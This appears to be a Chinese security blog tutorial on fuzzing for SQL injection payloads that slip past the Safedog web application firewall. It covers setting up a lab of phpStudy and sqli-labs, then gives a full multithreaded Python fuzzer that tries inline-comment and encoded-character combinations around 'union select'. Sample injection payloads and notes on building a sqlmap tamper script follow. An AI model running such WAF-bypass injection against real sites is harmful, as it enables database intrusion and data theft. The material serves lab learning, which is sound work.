![7a2e7cf8d793a8634cf4b64bdc6ad396.png](https://i-blog.csdnimg.cn/blog_migrate/d6cc9d68e3360d0cf22087218b7a9853.jpeg)
原创: Naivete 合天智汇
目录1.mysqlsql注入
2.环境搭建
3.fuzz脚本编写
4.嵌入到sqlmap的tamper脚本
能力有限,仅以sql注入为例子(其中以某学长的提醒,某行嘉宾前辈的课程和讲解为基础,以网上前辈各大博客为拓展写出此文)
5.总结1. mysql sql注入略。2. 环境搭建这里详细说下,坑有些,浪费时间性价比不高1某狗下载http://free.safedog.cn/website_safedog.html某狗的下载(注意是apache4.0版本),作者这里如果下的服务器版本再在里面下apache软件出错2phpstudy2016下载http://mydown.yesky.com/pcsoft/467336.html3安装第一,二步,要系统服务某狗才能识别网站
第三步,去github上下个sqli-labs当靶机源码
![131ad018f5ea68528d3585430ca8fab1.png](https://i-blog.csdnimg.cn/blog_migrate/361d149cb9f5eaf6fc7b1e917efd9212.jpeg)
第一步,把ip黑名单关了
第二步,把各种资源防护关了,只留http防护
![21a5c77dcd1e2f2012a6d8ff1a75a01e.png](https://i-blog.csdnimg.cn/blog_migrate/a89a785f748cd8ec7fded40943d360ed.jpeg)
![b75e6e0d7c60e6fc0492017374534cea.png](https://i-blog.csdnimg.cn/blog_migrate/229caa3fcaafa764eb0969382602142c.jpeg)
![4f417c5517818c304d1ae47a6c334ddd.png](https://i-blog.csdnimg.cn/blog_migrate/d0b656b9d6161da03c0568319ad42bb5.jpeg)
4简单验证环境
- url?id= 1’ and 1=1 --+ 触发 某狗的and语句条件预警,被拦截
![28cf96176e5d990830a7a54887fb7790.png](https://i-blog.csdnimg.cn/blog_migrate/ff74ee4bf67f1e653127d68526ecf8fa.jpeg)
2. 我们看下能不能用requests进行访问请求,看返回包里存在”网站防火墙字样”说明是成功的(这是我们进行判断语句是否绕过waf的基础)
提醒一下,可能是因为访问请求过大,作者中途发现requests请求不到内容,重启虚拟机就好了,所以专门提出来
![a055f32b6e25d478952599e17a3d66a4.png](https://i-blog.csdnimg.cn/blog_migrate/6e49d4f24ade484edf57e2e92d300849.jpeg)
![d12c11e2d2a83610c4ef3977a397b55d.png](https://i-blog.csdnimg.cn/blog_migrate/f456efaa905f67625e859980fb7c2853.jpeg)
4. fuzz脚本编写1如何编写这里,利用网上的流传甚广的内联(作者也只会这个)
fuzz出,意思就是绕过正则匹配
这里作者只进行两个语句的fuzz
其中url="http://192.168.37.132/sqli-labs-master/Less-1/?id=1"
![40e5c8165da62f2c94f1ecae3c4a0ec6.png](https://i-blog.csdnimg.cn/blog_migrate/51d6e97fb5b5e86aa6b3ccf9f1e3a1cd.png)
当然还有bool 时间 等等注入的fuzz,字典字符的顺序和字符在语句中位置很重要,很重要,很重要(重要事情说三遍)2附上脚本# -*- coding:UTF-8 -*-
import requests
import time
from concurrent.futures import ThreadPoolExecutor,ProcessPoolExecutor
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
MAX_JOBS_IN_QUEUE = 1000
def request_url(url):
s=requests.get(url).text
if "网站防火墙" not in s:
#print "no:"+url
if "Your Login name" in s:
print url
with open("a.txt","a+") as f:
f.write(url)
f.write("n")
f.close()
fuzz_zs = ['/*','*/','/*!','?','/**/','/','*','!','%','%a0']
fuzz_sz = ['0','6','7','8','9']
fuzz_ch = ["%0a","%0b","%0c","%0d","%0e","%0f","%0g"]
Fuzz = fuzz_ch + fuzz_zs
#Fuzz=list(set(Fuzz))
print Fuzz
print "start:"
start_time=time.time()
url="http://192.168.37.132/sqli-labs-master/Less-1/?id=1"
num=0
length=len(Fuzz)**5
with ThreadPoolExecutor(20) as executor:
for a in Fuzz:
for b in Fuzz:
for c in Fuzz:
for d in Fuzz:
for e in Fuzz:
if num % 200000 == 0 and num > 10000:
end_time = time.time()
seconds = end_time - start_time
m, s = divmod(seconds, 60)
h, m = divmod(m, 60)
print ("%s:%s:%s" % (h, m, s))
# time.sleep(15)
try:
num = num + 1
exp = url + "' /*!union" + a + b + c + d + e+"select*/" + " 1,2,3 --+"
#exp = url + "' union/*!" + a + b + c + d + e"*/ select" + " 1,2,3 --+"
sys.stdout.write(' ' * 30 + 'r')
sys.stdout.flush()
sys.stdout.write("%s/%s r" % (num, length))
sys.stdout.flush()
executor.submit(request_url, exp)
del exp
except Exception as e:
pass
'''http://192.168.37.132/sqli-labs-master/Less-1/?id=-1%27union/*!90000aaa*/select%201,2,3/*!90000aaa*//*!90000aaa*/from%20information_schema.tables/*!90000aaa*/%23
fuzz_zs = ['/*','*/','/*!','?','*','=','`','~','!','@','%','.','-','+','|','%00','%20' ,'%09', '%0a', '%0b', '%0c', '%0d' , '%a0' ,'/**/']
fuzz_sz = ['0','1','2','3','4','5','6','7','8','9']
fuzz_ch = ["%0a","%0b","%0c","%0d","%0e","%0f","%0g","%0h","%0i","%0j","%0k","%0l","%0m","%0n", "%0o","%0p","%0q","%0r","%0s","%0t","%0u","%0v","%0w","%0x","%0y","%0z"]
fuzz_zs = ['/*', '*/', '/*!', '*', '=', '`', '!', '@', '%', '.', '-', '+', '|', '%00','/*','*/','/*!','?','*','=','`','~','!','@','%','.','-','+','|','%00','%20' ,'%09', '%0a', '%0b', '%0c', '%0d' , '%a0' ,'/**/']
fuzz_sz = ['', ' ','0','1','2','3','4','5','6','7','8','9']
fuzz_ch = ["%0a","%0b","%0c","%0d","%0e","%0f","%0g","%0h","%0i","%0j","%0k","%0l","%0m","%0n", "%0o","%0p","%0q","%0r","%0s","%0t","%0u","%0v","%0w","%0x","%0y","%0z"]
'''3优化脚本还是提出来,供大家学习学习
无外乎是多线程跑起来,但是怎样利用多线程,这里作者前前后后用了多种(不限于这个脚本,是作者学习python语言道路上遇到的)
1)threadpool 老式的,效果还可以
2)multiprocessing和multithreading
3)自己的线程池类
垃圾效果。。。
4)concurrent.futures
也就是本代码用到的
参考:https://www.cnblogs.com/zhang293/p/7954353.html 4效果结果这里下图可以清楚看到,我们进行Fuzz的字符集合,时间原因作者设置的字符个数比较少,毕竟是进行阶乘,字符每增加一个,都懂得
以及三排时间,作者是每跑完20w,就打印一遍时间,可以看到,时间还是耗费还是比较少的,1分钟就跑完20w了
![592325316b307b4b9016efbf1b6108a3.png](https://i-blog.csdnimg.cn/blog_migrate/5d082af1f0410af273fe5d078095f3d8.png)
![697836c5cc559189a514389d075d5574.png](https://i-blog.csdnimg.cn/blog_migrate/b217488d044442d0308c6ccf8e384589.png)
![a4e925fd1416c0af43e9cfcd46d79241.png](https://i-blog.csdnimg.cn/blog_migrate/082298ef38b9e73ef8164da89b688211.jpeg)
![caf8d488610dce3614be041946853266.png](https://i-blog.csdnimg.cn/blog_migrate/62e5d9bd7dc59c9dccca5fd40d7f8134.jpeg)
你没有看错,142w,跑完这些集合没有一个能行5这里说几处改点如果要修改,注意这几处
1)作者测试67 8 9绕过概率要大,玄学
![6b9854854a3c526b0ee876f79f8a1e56.png](https://i-blog.csdnimg.cn/blog_migrate/0a48ad1fe890ca0734737d09d065d312.jpeg)
2)for循环的次数和语句位置,更重要的是图中那个ThreadPoolExecutor(20),作者开了虚拟机和杂七杂八的东西,本身电脑8g内存,开了20,刚好合适(运气吧,写这篇文章,刚好代码完全跑过,开大了只跑到90w就内存报错了,也有好处,开到ThreadPoolExecutor(100),4分钟就跑到90w了),自己结合实际情况考虑
![07bde263e47e3afefe53a1ddf7731b47.png](https://i-blog.csdnimg.cn/blog_migrate/ca159411a6ff5421630872b106a06cae.jpeg)
3)语句的修改很看技术和修为的,作者也是小白,在探讨
![af7ae7b95836a9f44b8ab549e8597231.png](https://i-blog.csdnimg.cn/blog_migrate/69023269a78fab16e4ca92fecc8cb01b.jpeg)
4)判断条件
能行的判断条件,作者有点怀疑自己哪个语句或者条件错了
![743b34080f759ab7d63acb71fb09635c.png](https://i-blog.csdnimg.cn/blog_migrate/17a5bfe08f19ab69776f3589e801761f.jpeg)
4. 嵌入到sqlmap的tamper脚本sqlmap神器已经写好了各种条件,添加tamper脚本,只需简单写个替换条件就行了
可参考:https://blog.csdn.net/whatday/article/details/62059263
tamper有三个部分
![d5ea060ff4b6d0968c6523408dd55f61.png](https://i-blog.csdnimg.cn/blog_migrate/51be954b9bda5741a9ff07c1200aa14f.jpeg)
第一部分:
执行脚本的优先级
第二部分
版本,或者是适用条件
第三部分
我们关注的点,作者看了下,简单点就行替换,把unionselect替换成什么就行了
![213fa0b822a75cba436a67d33d8b70b8.png](https://i-blog.csdnimg.cn/blog_migrate/7cce45af99235daeb4b3a55dfd958b87.jpeg)
只需改动这,其余部分相当于是公共部分
无成果,有兴趣可以自己研究下5. 总结本身fuzz其实不难(难在语句的构造和位置,这是技术问题了),剩下的就剩暴力破解问题了
作者花费时间最多的是在环境搭建和脚本的运行,这两个点上,文中作者以自己遇到的坑点已经提出来了荐Fuzz实践及Module编写
![1ff91c48707c70724ee22eedbde79897.png](https://i-blog.csdnimg.cn/blog_migrate/836bc6ebe9079748b6ef5a7762486da0.jpeg)
实验简介:
通过该实验一方面了解fuzz的思想,并且学会使用metasploit进行fuzz.另外一方面学会根据自己的需求进行module的编写及利用。实验地址:点击阅读原文